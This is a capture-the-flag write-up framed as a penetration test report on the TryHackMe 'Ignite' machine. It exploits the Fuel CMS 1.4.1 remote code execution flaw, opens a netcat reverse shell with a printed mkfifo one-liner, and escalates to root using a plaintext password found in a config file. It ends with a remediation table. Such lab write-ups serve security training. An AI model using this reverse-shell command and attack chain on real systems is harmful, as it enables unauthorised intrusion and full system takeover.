Penetration Testing & CTF Engagement Report: Ignite

1. Executive Summary

The primary objective of this engagement was to evaluate the security posture of the **Ignite** target machine, identify potential entry vectors, and escalate privileges to the root administrative account.

The assessment revealed a critical exposure involving a vulnerable Content Management System (**Fuel CMS version 1.4.1**) active on the web server. Exploitation of this service allowed for unauthorized **Remote Code Execution (RCE)**, leading to an initial foothold on the system. Subsequent post-exploitation enumeration uncovered hardcoded plaintext database credentials belonging to the root user, resulting in a total compromise of the target system.

2. Assessment Overview & Kill Chain

Target Information

- **Machine Name:** Ignite (TryHackMe)
- **Difficulty:** Easy
- **OS Platform:** Linux

Technical Flowchart

1.Reconnaissance & Port Scanning: Phase 1.
Conducted an initial network scan using nmap to discover open ports and active services on the target machine.

2.Web Application Enumeration: Phase 2.
Analyzed the web application, identified hidden endpoints via robots.txt, and mapped out the underlying framework version.

3.Initial Access (Exploitation): Phase 3.
Leveraged a known Remote Code Execution (RCE) vulnerability in Fuel CMS to bypass authentication and drop a netcat reverse shell.

4.Privilege Escalation: Phase 4.
Inspected local configuration files, recovered root database credentials, and transitioned from a low-privileged shell to root.

3. Detailed Walkthrough & Findings

Phase 1: Reconnaissance

An nmap service scan was performed to identify entry points:

Bash
nmap -sV -sC -A 10.114.151.4

- **Discovered Port:** Port 80 (HTTP) was found open, hosting a web server running an instance of **Fuel CMS**.
- **Information Leak:** Checking the /robots.txt directory exposed a disallowed path: /fuel/. Navigating to this path revealed the central login panel for the web portal.

Phase 2: Initial Foothold (Exploitation)

The application was found to be running **Fuel CMS v1.4.1**, an outdated version vulnerable to a highly critical Remote Code Execution vulnerability (**CVE-2018-16763**). The vulnerability allows unauthenticated attackers to inject malicious PHP code via specific input parameters in the pages module.

Using an exploit script (47138.py via searchsploit), the input parameters were manipulated to force the server to execute system-level commands.

- **Command Executed for Reverse Shell:**
- Bash

* rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.136.71 53 >/tmp/f

A local netcat listener (`nc -lvnp <PORT>`) caught the incoming connection, yielding a low-privileged shell as the `www-data` user.
* **User Flag Captured:** Located and read the contents of `/home/www-data/user.txt`.

Phase 3: Privilege Escalation to Root
With basic shell access established, local system configuration files were enumerated to locate misconfigurations or stored credentials.

The web application's database backend configuration file was checked at the following path:
```bash
cat /var/www/html/fuel/application/config/database.php

Inside the configuration script, the production database arrays revealed hardcoded, plaintext configuration parameters:

- **Database Username:** root
- **Database Password:** mememe

Because users frequently reuse administrative credentials across system profiles, a shell upgrade was performed to properly handle interactive commands:

Bash
```

python -c 'import pty; pty.spawn("/bin/bash")'

Executing the switch user command (su root) and entering the recovered password mememe successfully escalated privileges to the root level.

- **Root Flag Captured:** Located and read the final flag inside /root/root.txt.

4. Remediation Matrix

Vulnerability Found	Severity	Remediation Strategy
Outdated Fuel CMS (v1.4.1 RCE)	Critical	Immediately upgrade Fuel CMS to the latest secure version. Restrict access to the /fuel/ administrative portal to internal IP blocks or VPN tunnels.
Plaintext Credential Storage	High	Remove cleartext passwords from system configuration files. Utilize localized environment variables or an enterprise secret management system to handle database handshakes.
Credential Reuse	Medium	Implement distinct separation between application database management accounts and local host system administrative accounts. Ensure the root system user has a unique, strong password.

Engagement Conclusion: The system was fully compromised due to a combination of missing software patches and weak credential management. Implementing standard patch schedules and secret segmentation would completely mitigate this attack chain.